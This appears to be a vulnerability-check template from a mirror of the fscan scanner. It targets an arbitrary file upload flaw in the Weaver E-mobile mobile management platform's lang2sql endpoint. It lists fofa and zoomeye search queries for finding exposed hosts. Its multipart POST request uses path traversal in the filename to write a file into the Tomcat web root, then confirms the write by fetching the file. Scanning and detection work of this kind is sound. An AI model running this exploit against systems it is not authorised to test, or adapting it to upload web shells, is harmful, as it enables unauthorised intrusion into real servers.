mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
41 lines
1.2 KiB
YAML
41 lines
1.2 KiB
YAML
id: emobile-lang2sql-fileupload
|
|
|
|
info:
|
|
name: 泛微移动管理平台E-mobile lang2sql接口存在任意文件上传
|
|
author: zan8in
|
|
severity: critical
|
|
verified: true
|
|
description: |-
|
|
fofa: title="移动管理平台-企业管理"
|
|
zoomeye: app:"泛微移动办公平台e-mobile"
|
|
reference:
|
|
- https://mp.weixin.qq.com/s/beQWjJW1pt3vjF3PTvwxLA
|
|
tags: ecology,emobile,fileuplaod
|
|
created: 2023/11/07
|
|
|
|
set:
|
|
randstr: randomLowercase(6)
|
|
randbody: randomLowercase(56)
|
|
rboundary: randomLowercase(8)
|
|
rules:
|
|
r0:
|
|
request:
|
|
method: POST
|
|
path: /emp/lang2sql?client_type=1&lang_tag=1
|
|
headers:
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
|
|
body: "\
|
|
------WebKitFormBoundary{{rboundary}}\r\n\
|
|
Content-Disposition: form-data; name=\"file\"; filename=\"../../../../appsvr/tomcat/webapps/ROOT/{{randstr}}.txt\"\r\n\
|
|
\r\n\
|
|
{{randbody}}\r\n\
|
|
------WebKitFormBoundary{{rboundary}}--\r\n\
|
|
"
|
|
expression: response.status == 200 && response.body.bcontains(b'"errcode"')
|
|
r1:
|
|
request:
|
|
method: GET
|
|
path: /{{randstr}}.txt
|
|
expression: response.status == 200 && response.body.bcontains(bytes(randbody))
|
|
expression: r0() && r1()
|